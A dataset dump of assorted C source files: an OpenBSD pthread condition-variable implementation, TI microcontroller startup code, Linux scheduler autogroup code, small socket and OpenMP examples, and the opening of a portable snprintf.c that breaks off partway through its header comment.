file
stringlengths
18
26
data
stringlengths
3
1.04M
the_stack_data/289465.c
/* $OpenBSD: uthread_cond.c,v 1.15 2007/04/27 19:40:08 kurt Exp $ */ /* * Copyright (c) 1995 John Birrell <[email protected]>. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * This product includes software developed by John Birrell. * 4. Neither the name of the author nor the names of any co-contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY JOHN BIRRELL AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * $FreeBSD: uthread_cond.c,v 1.18 1999/08/30 00:02:07 deischen Exp $ */ #include <stdlib.h> #include <errno.h> #include <string.h> #ifdef _THREAD_SAFE #include <pthread.h> #include "pthread_private.h" /* * Prototypes */ static inline pthread_t cond_queue_deq(pthread_cond_t); static inline void cond_queue_remove(pthread_cond_t, pthread_t); static inline void cond_queue_enq(pthread_cond_t, pthread_t); /* Reinitialize a condition variable to defaults. */ int _cond_reinit(pthread_cond_t *cond) { int ret = 0; if (cond == NULL) ret = EINVAL; else if (*cond == NULL) ret = pthread_cond_init(cond, NULL); else { /* * Initialize the condition variable structure: */ TAILQ_INIT(&(*cond)->c_queue); (*cond)->c_flags = COND_FLAGS_INITED; (*cond)->c_type = COND_TYPE_FAST; (*cond)->c_mutex = NULL; (*cond)->c_seqno = 0; _SPINLOCK_INIT(&(*cond)->lock); } return (ret); } int pthread_cond_init(pthread_cond_t * cond, const pthread_condattr_t * cond_attr) { enum pthread_cond_type type; pthread_cond_t pcond; int rval = 0; if (cond == NULL) rval = EINVAL; else { /* * Check if a pointer to a condition variable attribute * structure was passed by the caller: */ if (cond_attr != NULL && *cond_attr != NULL) { /* Default to a fast condition variable: */ type = (*cond_attr)->c_type; } else { /* Default to a fast condition variable: */ type = COND_TYPE_FAST; } /* Process according to condition variable type: */ switch (type) { /* Fast condition variable: */ case COND_TYPE_FAST: /* Nothing to do here. */ break; /* Trap invalid condition variable types: */ default: /* Return an invalid argument error: */ rval = EINVAL; break; } /* Check for no errors: */ if (rval == 0) { if ((pcond = (pthread_cond_t) malloc(sizeof(struct pthread_cond))) == NULL) { rval = ENOMEM; } else { /* * Initialise the condition variable * structure: */ TAILQ_INIT(&pcond->c_queue); pcond->c_flags |= COND_FLAGS_INITED; pcond->c_type = type; pcond->c_mutex = NULL; pcond->c_seqno = 0; _SPINLOCK_INIT(&pcond->lock); *cond = pcond; } } } /* Return the completion status: */ return (rval); } int pthread_cond_destroy(pthread_cond_t * cond) { int rval = 0; if (cond == NULL || *cond == NULL) rval = EINVAL; else { /* Lock the condition variable structure: */ _SPINLOCK(&(*cond)->lock); /* * Free the memory allocated for the condition * variable structure: */ free(*cond); /* * NULL the caller's pointer now that the condition * variable has been destroyed: */ *cond = NULL; } /* Return the completion status: */ return (rval); } int pthread_cond_wait(pthread_cond_t * cond, pthread_mutex_t * mutex) { struct pthread *curthread = _get_curthread(); int rval = 0; int done = 0; int interrupted = 0; int seqno; /* This is a cancellation point: */ _thread_enter_cancellation_point(); if (cond == NULL) { /* No longer in a cancellation point: */ _thread_leave_cancellation_point(); return (EINVAL); } /* * If the condition variable is statically initialized, * perform the dynamic initialization: */ if (*cond == NULL && (rval = pthread_cond_init(cond, NULL)) != 0) { /* No longer in a cancellation point: */ _thread_leave_cancellation_point(); return (rval); } /* * Enter a loop waiting for a condition signal or broadcast * to wake up this thread. A loop is needed in case the waiting * thread is interrupted by a signal to execute a signal handler. * It is not (currently) possible to remain in the waiting queue * while running a handler. Instead, the thread is interrupted * and backed out of the waiting queue prior to executing the * signal handler. */ do { /* Lock the condition variable structure: */ _SPINLOCK(&(*cond)->lock); /* * If the condvar was statically allocated, properly * initialize the tail queue. */ if (((*cond)->c_flags & COND_FLAGS_INITED) == 0) { TAILQ_INIT(&(*cond)->c_queue); (*cond)->c_flags |= COND_FLAGS_INITED; } /* Process according to condition variable type: */ switch ((*cond)->c_type) { /* Fast condition variable: */ case COND_TYPE_FAST: if ((mutex == NULL) || (((*cond)->c_mutex != NULL) && ((*cond)->c_mutex != *mutex))) { /* Unlock the condition variable structure: */ _SPINUNLOCK(&(*cond)->lock); /* Return invalid argument error: */ rval = EINVAL; } else { /* Reset the timeout and interrupted flags: */ curthread->timeout = 0; curthread->interrupted = 0; /* * Queue the running thread for the condition * variable: */ cond_queue_enq(*cond, curthread); /* Remember the mutex and sequence number: */ (*cond)->c_mutex = *mutex; seqno = (*cond)->c_seqno; /* Wait forever: */ curthread->wakeup_time.tv_sec = -1; /* Unlock the mutex: */ if ((rval = _mutex_cv_unlock(mutex)) != 0) { /* * Cannot unlock the mutex, so remove * the running thread from the condition * variable queue: */ cond_queue_remove(*cond, curthread); /* Check for no more waiters: */ if (TAILQ_FIRST(&(*cond)->c_queue) == NULL) (*cond)->c_mutex = NULL; /* Unlock the condition variable structure: */ _SPINUNLOCK(&(*cond)->lock); } else { /* * Schedule the next thread and unlock * the condition variable structure: */ _thread_kern_sched_state_unlock(PS_COND_WAIT, &(*cond)->lock, __FILE__, __LINE__); done = (seqno != (*cond)->c_seqno); interrupted = curthread->interrupted; /* * Check if the wait was interrupted * (canceled) or needs to be resumed * after handling a signal. */ if (interrupted != 0) { /* * Lock the mutex and ignore any * errors. Note that even * though this thread may have * been canceled, POSIX requires * that the mutex be reacquired * prior to cancellation. */ (void)_mutex_cv_lock(mutex); } else { /* * Lock the condition variable * while removing the thread. */ _SPINLOCK(&(*cond)->lock); cond_queue_remove(*cond, curthread); /* Check for no more waiters: */ if (TAILQ_FIRST(&(*cond)->c_queue) == NULL) (*cond)->c_mutex = NULL; _SPINUNLOCK(&(*cond)->lock); /* Lock the mutex: */ rval = _mutex_cv_lock(mutex); } } } break; /* Trap invalid condition variable types: */ default: /* Unlock the condition variable structure: */ _SPINUNLOCK(&(*cond)->lock); /* Return an invalid argument error: */ rval = EINVAL; break; } if ((interrupted != 0) && (curthread->continuation != NULL)) curthread->continuation(curthread); } while ((done == 0) && (rval == 0)); /* No longer in a cancellation point: */ _thread_leave_cancellation_point(); /* Return the completion status: */ return (rval); } int pthread_cond_timedwait(pthread_cond_t * cond, pthread_mutex_t * mutex, const struct timespec * abstime) { struct pthread *curthread = _get_curthread(); int rval = 0; int done = 0; int interrupted = 0; int seqno; /* This is a cancellation point: */ _thread_enter_cancellation_point(); if (cond == NULL || abstime == NULL || abstime->tv_sec < 0 || abstime->tv_nsec < 0 || abstime->tv_nsec >= 1000000000) { /* No longer in a cancellation point: */ _thread_leave_cancellation_point(); return (EINVAL); } /* * If the condition variable is statically initialized, perform dynamic * initialization. */ if (*cond == NULL && (rval = pthread_cond_init(cond, NULL)) != 0) { /* No longer in a cancellation point: */ _thread_leave_cancellation_point(); return (rval); } /* * Enter a loop waiting for a condition signal or broadcast * to wake up this thread. A loop is needed in case the waiting * thread is interrupted by a signal to execute a signal handler. * It is not (currently) possible to remain in the waiting queue * while running a handler. Instead, the thread is interrupted * and backed out of the waiting queue prior to executing the * signal handler. */ do { /* Lock the condition variable structure: */ _SPINLOCK(&(*cond)->lock); /* * If the condvar was statically allocated, properly * initialize the tail queue. */ if (((*cond)->c_flags & COND_FLAGS_INITED) == 0) { TAILQ_INIT(&(*cond)->c_queue); (*cond)->c_flags |= COND_FLAGS_INITED; } /* Process according to condition variable type: */ switch ((*cond)->c_type) { /* Fast condition variable: */ case COND_TYPE_FAST: if ((mutex == NULL) || (((*cond)->c_mutex != NULL) && ((*cond)->c_mutex != *mutex))) { /* Return invalid argument error: */ rval = EINVAL; /* Unlock the condition variable structure: */ _SPINUNLOCK(&(*cond)->lock); } else { /* Set the wakeup time: */ curthread->wakeup_time.tv_sec = abstime->tv_sec; curthread->wakeup_time.tv_nsec = abstime->tv_nsec; /* Reset the timeout and interrupted flags: */ curthread->timeout = 0; curthread->interrupted = 0; /* * Queue the running thread for the condition * variable: */ cond_queue_enq(*cond, curthread); /* Remember the mutex and sequence number: */ (*cond)->c_mutex = *mutex; seqno = (*cond)->c_seqno; /* Unlock the mutex: */ if ((rval = _mutex_cv_unlock(mutex)) != 0) { /* * Cannot unlock the mutex, so remove * the running thread from the condition * variable queue: */ cond_queue_remove(*cond, curthread); /* Check for no more waiters: */ if (TAILQ_FIRST(&(*cond)->c_queue) == NULL) (*cond)->c_mutex = NULL; /* Unlock the condition variable structure: */ _SPINUNLOCK(&(*cond)->lock); } else { /* * Schedule the next thread and unlock * the condition variable structure: */ _thread_kern_sched_state_unlock(PS_COND_WAIT, &(*cond)->lock, __FILE__, __LINE__); done = (seqno != (*cond)->c_seqno); interrupted = curthread->interrupted; /* * Check if the wait was interrupted * (canceled) or needs to be resumed * after handling a signal. */ if (interrupted != 0) { /* * Lock the mutex and ignore any * errors. Note that even * though this thread may have * been canceled, POSIX requires * that the mutex be reacquired * prior to cancellation. */ (void)_mutex_cv_lock(mutex); } else { /* * Lock the condition variable * while removing the thread. */ _SPINLOCK(&(*cond)->lock); cond_queue_remove(*cond, curthread); /* Check for no more waiters: */ if (TAILQ_FIRST(&(*cond)->c_queue) == NULL) (*cond)->c_mutex = NULL; _SPINUNLOCK(&(*cond)->lock); /* Lock the mutex: */ rval = _mutex_cv_lock(mutex); /* * Return ETIMEDOUT if the wait * timed out and there wasn't an * error locking the mutex: */ if ((curthread->timeout != 0) && rval == 0) rval = ETIMEDOUT; } } } break; /* Trap invalid condition variable types: */ default: /* Unlock the condition variable structure: */ _SPINUNLOCK(&(*cond)->lock); /* Return an invalid argument error: */ rval = EINVAL; break; } if ((interrupted != 0) && (curthread->continuation != NULL)) curthread->continuation(curthread); } while ((done == 0) && (rval == 0)); /* No longer in a cancellation point: */ _thread_leave_cancellation_point(); /* Return the completion status: */ return (rval); } int pthread_cond_signal(pthread_cond_t * cond) { int rval = 0; pthread_t pthread; if (cond == NULL) rval = EINVAL; /* * If the condition variable is statically initialized, perform dynamic * initialization. */ else if (*cond != NULL || (rval = pthread_cond_init(cond, NULL)) == 0) { /* * Defer signals to protect the scheduling queues * from access by the signal handler: */ _thread_kern_sig_defer(); /* Lock the condition variable structure: */ _SPINLOCK(&(*cond)->lock); /* Process according to condition variable type: */ switch ((*cond)->c_type) { /* Fast condition variable: */ case COND_TYPE_FAST: /* Increment the sequence number: */ (*cond)->c_seqno++; if ((pthread = cond_queue_deq(*cond)) != NULL) { /* * Unless the thread is currently suspended, * allow it to run. If the thread is suspended, * make a note that the thread isn't in a wait * queue any more. */ if (pthread->state != PS_SUSPENDED) PTHREAD_NEW_STATE(pthread,PS_RUNNING); else pthread->suspended = SUSP_NOWAIT; } /* Check for no more waiters: */ if (TAILQ_FIRST(&(*cond)->c_queue) == NULL) (*cond)->c_mutex = NULL; break; /* Trap invalid condition variable types: */ default: /* Return an invalid argument error: */ rval = EINVAL; break; } /* Unlock the condition variable structure: */ _SPINUNLOCK(&(*cond)->lock); /* * Undefer and handle pending signals, yielding if * necessary: */ _thread_kern_sig_undefer(); } /* Return the completion status: */ return (rval); } int pthread_cond_broadcast(pthread_cond_t * cond) { int rval = 0; pthread_t pthread; if (cond == NULL) rval = EINVAL; /* * If the condition variable is statically initialized, perform dynamic * initialization. */ else if (*cond != NULL || (rval = pthread_cond_init(cond, NULL)) == 0) { /* * Defer signals to protect the scheduling queues * from access by the signal handler: */ _thread_kern_sig_defer(); /* Lock the condition variable structure: */ _SPINLOCK(&(*cond)->lock); /* Process according to condition variable type: */ switch ((*cond)->c_type) { /* Fast condition variable: */ case COND_TYPE_FAST: /* Increment the sequence number: */ (*cond)->c_seqno++; /* * Enter a loop to bring all threads off the * condition queue: */ while ((pthread = cond_queue_deq(*cond)) != NULL) { /* * Unless the thread is currently suspended, * allow it to run. If the thread is suspended, * make a note that the thread isn't in a wait * queue any more. */ if (pthread->state != PS_SUSPENDED) PTHREAD_NEW_STATE(pthread,PS_RUNNING); else pthread->suspended = SUSP_NOWAIT; } /* There are no more waiting threads: */ (*cond)->c_mutex = NULL; break; /* Trap invalid condition variable types: */ default: /* Return an invalid argument error: */ rval = EINVAL; break; } /* Unlock the condition variable structure: */ _SPINUNLOCK(&(*cond)->lock); /* * Undefer and handle pending signals, yielding if * necessary: */ _thread_kern_sig_undefer(); } /* Return the completion status: */ return (rval); } /* * Dequeue a waiting thread from the head of a condition queue in * descending priority order. */ static inline pthread_t cond_queue_deq(pthread_cond_t cond) { pthread_t pthread; while ((pthread = TAILQ_FIRST(&cond->c_queue)) != NULL) { TAILQ_REMOVE(&cond->c_queue, pthread, sqe); pthread->flags &= ~PTHREAD_FLAGS_IN_CONDQ; if ((pthread->timeout == 0) && (pthread->interrupted == 0)) /* * Only exit the loop when we find a thread * that hasn't timed out or been canceled; * those threads are already running and don't * need their run state changed. */ break; } return(pthread); } /* * Remove a waiting thread from a condition queue in descending priority * order. */ static inline void cond_queue_remove(pthread_cond_t cond, pthread_t pthread) { /* * Because pthread_cond_timedwait() can timeout as well * as be signaled by another thread, it is necessary to * guard against removing the thread from the queue if * it isn't in the queue. */ if (pthread->flags & PTHREAD_FLAGS_IN_CONDQ) { TAILQ_REMOVE(&cond->c_queue, pthread, sqe); pthread->flags &= ~PTHREAD_FLAGS_IN_CONDQ; } } /* * Enqueue a waiting thread to a condition queue in descending priority * order. */ static inline void cond_queue_enq(pthread_cond_t cond, pthread_t pthread) { pthread_t tid = TAILQ_LAST(&cond->c_queue, cond_head); PTHREAD_ASSERT_NOT_IN_SYNCQ(pthread); /* * For the common case of all threads having equal priority, * we perform a quick check against the priority of the thread * at the tail of the queue. */ if ((tid == NULL) || (pthread->active_priority <= tid->active_priority)) TAILQ_INSERT_TAIL(&cond->c_queue, pthread, sqe); else { tid = TAILQ_FIRST(&cond->c_queue); while (pthread->active_priority <= tid->active_priority) tid = TAILQ_NEXT(tid, sqe); TAILQ_INSERT_BEFORE(tid, pthread, sqe); } pthread->flags |= PTHREAD_FLAGS_IN_CONDQ; pthread->data.cond = cond; } #endif
the_stack_data/90766592.c
//***************************************************************************** // // startup_gcc.c - Startup code for use with GNU tools. // // Copyright (c) 2009-2012 Texas Instruments Incorporated. All rights reserved. // Software License Agreement // // Texas Instruments (TI) is supplying this software for use solely and // exclusively on TI's microcontroller products. The software is owned by // TI and/or its suppliers, and is protected under applicable copyright // laws. You may not combine this software with "viral" open-source // software in order to form a larger program. // // THIS SOFTWARE IS PROVIDED "AS IS" AND WITH ALL FAULTS. // NO WARRANTIES, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT // NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. TI SHALL NOT, UNDER ANY // CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR CONSEQUENTIAL // DAMAGES, FOR ANY REASON WHATSOEVER. // // This is part of revision 9107 of the DK-LM3S9B96 Firmware Package. // //***************************************************************************** //***************************************************************************** // // Forward declaration of the default fault handlers. // //***************************************************************************** void ResetISR(void); static void NmiSR(void); static void FaultISR(void); static void IntDefaultHandler(void); //***************************************************************************** // // External declarations for the interrupt handlers used by the application. // //***************************************************************************** extern void lwIPEthernetIntHandler(void); extern void SysTickIntHandler(void); extern void AnimTimerIntHandler(void); //***************************************************************************** // // The entry point for the application. // //***************************************************************************** extern int main(void); //***************************************************************************** // // Reserve space for the system stack. // //***************************************************************************** static unsigned long pulStack[256]; //***************************************************************************** // // The vector table. Note that the proper constructs must be placed on this to // ensure that it ends up at physical address 0x0000.0000. // //***************************************************************************** __attribute__ ((section(".isr_vector"))) void (* const g_pfnVectors[])(void) = { (void (*)(void))((unsigned long)pulStack + sizeof(pulStack)), // The initial stack pointer ResetISR, // The reset handler NmiSR, // The NMI handler FaultISR, // The hard fault handler IntDefaultHandler, // The MPU fault handler IntDefaultHandler, // The bus fault handler IntDefaultHandler, // The usage fault handler 0, // Reserved 0, // Reserved 0, // Reserved 0, // Reserved IntDefaultHandler, // SVCall handler IntDefaultHandler, // Debug monitor handler 0, // Reserved IntDefaultHandler, // The PendSV handler SysTickIntHandler, // The SysTick handler IntDefaultHandler, // GPIO Port A IntDefaultHandler, // GPIO Port B IntDefaultHandler, // GPIO Port C IntDefaultHandler, // GPIO Port D IntDefaultHandler, // GPIO Port E IntDefaultHandler, // UART0 Rx and Tx IntDefaultHandler, // UART1 Rx and Tx IntDefaultHandler, // SSI0 Rx and Tx IntDefaultHandler, // I2C0 Master and Slave IntDefaultHandler, // PWM Fault IntDefaultHandler, // PWM Generator 0 IntDefaultHandler, // PWM Generator 1 IntDefaultHandler, // PWM Generator 2 IntDefaultHandler, // Quadrature Encoder 0 IntDefaultHandler, // ADC Sequence 0 IntDefaultHandler, // ADC Sequence 1 IntDefaultHandler, // ADC Sequence 2 IntDefaultHandler, // ADC Sequence 3 IntDefaultHandler, // Watchdog timer IntDefaultHandler, // Timer 0 subtimer A IntDefaultHandler, // Timer 0 subtimer B IntDefaultHandler, // Timer 1 subtimer A IntDefaultHandler, // Timer 1 subtimer B AnimTimerIntHandler, // Timer 2 subtimer A IntDefaultHandler, // Timer 2 subtimer B IntDefaultHandler, // Analog Comparator 0 IntDefaultHandler, // Analog Comparator 1 IntDefaultHandler, // Analog Comparator 2 IntDefaultHandler, // System Control (PLL, OSC, BO) IntDefaultHandler, // FLASH Control IntDefaultHandler, // GPIO Port F IntDefaultHandler, // GPIO Port G IntDefaultHandler, // GPIO Port H IntDefaultHandler, // UART2 Rx and Tx IntDefaultHandler, // SSI1 Rx and Tx IntDefaultHandler, // Timer 3 subtimer A IntDefaultHandler, // Timer 3 subtimer B IntDefaultHandler, // I2C1 Master and Slave IntDefaultHandler, // Quadrature Encoder 1 IntDefaultHandler, // CAN0 IntDefaultHandler, // CAN1 IntDefaultHandler, // CAN2 lwIPEthernetIntHandler, // Ethernet IntDefaultHandler, // Hibernate IntDefaultHandler, // USB0 IntDefaultHandler, // PWM Generator 3 IntDefaultHandler, // uDMA Software Transfer IntDefaultHandler, // uDMA Error IntDefaultHandler, // ADC1 Sequence 0 IntDefaultHandler, // ADC1 Sequence 1 IntDefaultHandler, // ADC1 Sequence 2 IntDefaultHandler, // ADC1 Sequence 3 IntDefaultHandler, // I2S0 IntDefaultHandler, // External Bus Interface 0 IntDefaultHandler // GPIO Port J }; //***************************************************************************** // // The following are constructs created by the linker, indicating where the // the "data" and "bss" segments reside in memory. The initializers for the // for the "data" segment resides immediately following the "text" segment. // //***************************************************************************** extern unsigned long _etext; extern unsigned long _data; extern unsigned long _edata; extern unsigned long _bss; extern unsigned long _ebss; //***************************************************************************** // // This is the code that gets called when the processor first starts execution // following a reset event. Only the absolutely necessary set is performed, // after which the application supplied entry() routine is called. Any fancy // actions (such as making decisions based on the reset cause register, and // resetting the bits in that register) are left solely in the hands of the // application. // //***************************************************************************** void ResetISR(void) { unsigned long *pulSrc, *pulDest; // // Copy the data segment initializers from flash to SRAM. // pulSrc = &_etext; for(pulDest = &_data; pulDest < &_edata; ) { *pulDest++ = *pulSrc++; } // // Zero fill the bss segment. // __asm(" ldr r0, =_bss\n" " ldr r1, =_ebss\n" " mov r2, #0\n" " .thumb_func\n" "zero_loop:\n" " cmp r0, r1\n" " it lt\n" " strlt r2, [r0], #4\n" " blt zero_loop"); // // Call the application's entry point. // main(); } //***************************************************************************** // // This is the code that gets called when the processor receives a NMI. This // simply enters an infinite loop, preserving the system state for examination // by a debugger. // //***************************************************************************** static void NmiSR(void) { // // Enter an infinite loop. // while(1) { } } //***************************************************************************** // // This is the code that gets called when the processor receives a fault // interrupt. This simply enters an infinite loop, preserving the system state // for examination by a debugger. // //***************************************************************************** static void FaultISR(void) { // // Enter an infinite loop. // while(1) { } } //***************************************************************************** // // This is the code that gets called when the processor receives an unexpected // interrupt. This simply enters an infinite loop, preserving the system state // for examination by a debugger. // //***************************************************************************** static void IntDefaultHandler(void) { // // Go into an infinite loop. // while(1) { } }
the_stack_data/173579366.c
#ifdef CONFIG_SCHED_AUTOGROUP #include "sched.h" #include <linux/proc_fs.h> #include <linux/seq_file.h> #include <linux/kallsyms.h> #include <linux/utsname.h> #include <linux/security.h> #include <linux/export.h> unsigned int __read_mostly sysctl_sched_autogroup_enabled = 1; static struct autogroup autogroup_default; static atomic_t autogroup_seq_nr; void __init autogroup_init(struct task_struct *init_task) { autogroup_default.tg = &root_task_group; kref_init(&autogroup_default.kref); init_rwsem(&autogroup_default.lock); init_task->signal->autogroup = &autogroup_default; } void autogroup_free(struct task_group *tg) { kfree(tg->autogroup); } static inline void autogroup_destroy(struct kref *kref) { struct autogroup *ag = container_of(kref, struct autogroup, kref); #ifdef CONFIG_RT_GROUP_SCHED /* We've redirected RT tasks to the root task group... */ ag->tg->rt_se = NULL; ag->tg->rt_rq = NULL; #endif sched_offline_group(ag->tg); sched_destroy_group(ag->tg); } static inline void autogroup_kref_put(struct autogroup *ag) { kref_put(&ag->kref, autogroup_destroy); } static inline struct autogroup *autogroup_kref_get(struct autogroup *ag) { kref_get(&ag->kref); return ag; } static inline struct autogroup *autogroup_task_get(struct task_struct *p) { struct autogroup *ag; unsigned long flags; if (!lock_task_sighand(p, &flags)) return autogroup_kref_get(&autogroup_default); ag = autogroup_kref_get(p->signal->autogroup); unlock_task_sighand(p, &flags); return ag; } static inline struct autogroup *autogroup_create(void) { struct autogroup *ag = kzalloc(sizeof(*ag), GFP_KERNEL); struct task_group *tg; if (!ag) goto out_fail; tg = sched_create_group(&root_task_group); if (IS_ERR(tg)) goto out_free; kref_init(&ag->kref); init_rwsem(&ag->lock); ag->id = atomic_inc_return(&autogroup_seq_nr); ag->tg = tg; #ifdef CONFIG_RT_GROUP_SCHED /* * Autogroup RT tasks are redirected to the root task group * so we don't have to move tasks around upon policy change, * or flail around trying to allocate bandwidth on the fly. * A bandwidth exception in __sched_setscheduler() allows * the policy change to proceed. */ free_rt_sched_group(tg); tg->rt_se = root_task_group.rt_se; tg->rt_rq = root_task_group.rt_rq; #endif tg->autogroup = ag; sched_online_group(tg, &root_task_group); return ag; out_free: kfree(ag); out_fail: if (printk_ratelimit()) { printk(KERN_WARNING "autogroup_create: %s failure.\n", ag ? "sched_create_group()" : "kmalloc()"); } return autogroup_kref_get(&autogroup_default); } bool task_wants_autogroup(struct task_struct *p, struct task_group *tg) { if (tg != &root_task_group) return false; /* * We can only assume the task group can't go away on us if * autogroup_move_group() can see us on ->thread_group list. */ if (p->flags & PF_EXITING) return false; return true; } static void autogroup_move_group(struct task_struct *p, struct autogroup *ag) { struct autogroup *prev; struct task_struct *t; unsigned long flags; BUG_ON(!lock_task_sighand(p, &flags)); prev = p->signal->autogroup; if (prev == ag) { unlock_task_sighand(p, &flags); return; } p->signal->autogroup = autogroup_kref_get(ag); if (!READ_ONCE(sysctl_sched_autogroup_enabled)) goto out; for_each_thread(p, t) sched_move_task(t); out: unlock_task_sighand(p, &flags); autogroup_kref_put(prev); } /* Allocates GFP_KERNEL, cannot be called under any spinlock */ void sched_autogroup_create_attach(struct task_struct *p) { struct autogroup *ag = autogroup_create(); autogroup_move_group(p, ag); /* drop extra reference added by autogroup_create() */ autogroup_kref_put(ag); } EXPORT_SYMBOL(sched_autogroup_create_attach); /* Cannot be called under siglock. Currently has no users */ void sched_autogroup_detach(struct task_struct *p) { autogroup_move_group(p, &autogroup_default); } EXPORT_SYMBOL(sched_autogroup_detach); void sched_autogroup_fork(struct signal_struct *sig) { sig->autogroup = autogroup_task_get(current); } void sched_autogroup_exit(struct signal_struct *sig) { autogroup_kref_put(sig->autogroup); } static int __init setup_autogroup(char *str) { sysctl_sched_autogroup_enabled = 0; return 1; } __setup("noautogroup", setup_autogroup); #ifdef CONFIG_PROC_FS int proc_sched_autogroup_set_nice(struct task_struct *p, int nice) { static unsigned long next = INITIAL_JIFFIES; struct autogroup *ag; int err; if (nice < MIN_NICE || nice > MAX_NICE) return -EINVAL; err = security_task_setnice(current, nice); if (err) return err; if (nice < 0 && !can_nice(current, nice)) return -EPERM; /* this is a heavy operation taking global locks.. */ if (!capable(CAP_SYS_ADMIN) && time_before(jiffies, next)) return -EAGAIN; next = HZ / 10 + jiffies; ag = autogroup_task_get(p); down_write(&ag->lock); err = sched_group_set_shares(ag->tg, prio_to_weight[nice + 20]); if (!err) ag->nice = nice; up_write(&ag->lock); autogroup_kref_put(ag); return err; } void proc_sched_autogroup_show_task(struct task_struct *p, struct seq_file *m) { struct autogroup *ag = autogroup_task_get(p); if (!task_group_is_autogroup(ag->tg)) goto out; down_read(&ag->lock); seq_printf(m, "/autogroup-%ld nice %d\n", ag->id, ag->nice); up_read(&ag->lock); out: autogroup_kref_put(ag); } #endif /* CONFIG_PROC_FS */ #ifdef CONFIG_SCHED_DEBUG int autogroup_path(struct task_group *tg, char *buf, int buflen) { if (!task_group_is_autogroup(tg)) return 0; return snprintf(buf, buflen, "%s-%ld", "/autogroup", tg->autogroup->id); } #endif /* CONFIG_SCHED_DEBUG */ #endif /* CONFIG_SCHED_AUTOGROUP */
the_stack_data/346598.c
/* * MIT License * * Copyright (c) 2018 Lewis Van Winkle * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #ifdef _WIN32 #define WINDOWS #ifndef _WIN32_WINNT #define _WIN32_WINNT 0x0600 #endif #include <winsock2.h> #include <ws2tcpip.h> #pragma comment(lib, "ws2_32.lib") #else #define LINUX #include <arpa/inet.h> #include <errno.h> #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> #endif #include <stdio.h> #include <stdlib.h> int main(void) { #ifdef WINDOWS WSADATA d; if (WSAStartup(MAKEWORD(2, 2), &d)) { fprintf(stderr, "Failed to initialize.\n"); return 1; } WSACleanup(); #else // LINUX is defined puts("Ready to use socket API."); #endif return EXIT_SUCCESS; }
the_stack_data/449293.c
/* Nesting named critical regions can work */ #include <stdio.h> #include <stdlib.h> void non_safe_one (void) { int random = rand(); printf("This function does something not thread safe, like calculating %d from rand.\n",random); } void non_safe_two (void) { int random = rand(); #pragma omp critical(two) { non_safe_one(); printf("This function calculates another random number %d\n",random); } } int main(void) { #pragma omp parallel { #pragma omp critical(one) { non_safe_two(); } } return 0; }
the_stack_data/148946.c
#include <stdio.h> int main() { int x; printf("%d\n", x); return 0; }
the_stack_data/159516752.c
/* * snprintf.c * ripped from rsync sources by [email protected] at Thu Mar 7 18:16:00 CET 2002 * ripped from reTCP sources by [email protected] at Tue Jun 11 14:47:01 CEST 2002 * * Why does this .c file rock? * * -- minimal dependencies: only <stdarg.h> is included * -- minimal dependencies: not even -lm is required * -- can print floating point numbers * -- can print `long long' and `long double' * -- C99 semantics (NULL arg for vsnprintf OK, always returns the length * that would have been printed) * -- provides all vsnprintf(), snprintf(), vasprintf(), asprintf() */ #include <stdarg.h> #include <stddef.h> #include <stdio.h> #ifdef NULL /* as on Mac OS/X 10.5.7 <stdlib.h> */ # undef NULL #endif #define NULL ((void*)0) #define NULLP ((void*)0) #include <stdlib.h> /* malloc() */ typedef void (*printch_t)(char* buffer, size_t* currlen, size_t maxlen, char c); /* * Copyright Patrick Powell 1995 * This code is based on code written by Patrick Powell ([email protected]) * It may be used for any purpose as long as this notice remains intact * on all source code distributions */ /************************************************************** * Original: * Patrick Powell Tue Apr 11 09:48:21 PDT 1995 * A bombproof version of doprnt (dopr) included. * Sigh. This sort of thing is always nasty do deal with. Note that * the version here does not include floating point... * * snprintf() is used instead of sprintf() as it does limit checks * for string length. This covers a nasty loophole. * * The other functions are there to prevent NULL pointers from * causing nast effects. * * More Recently: * Brandon Long <[email protected]> 9/15/96 for mutt 0.43 * This was ugly. It 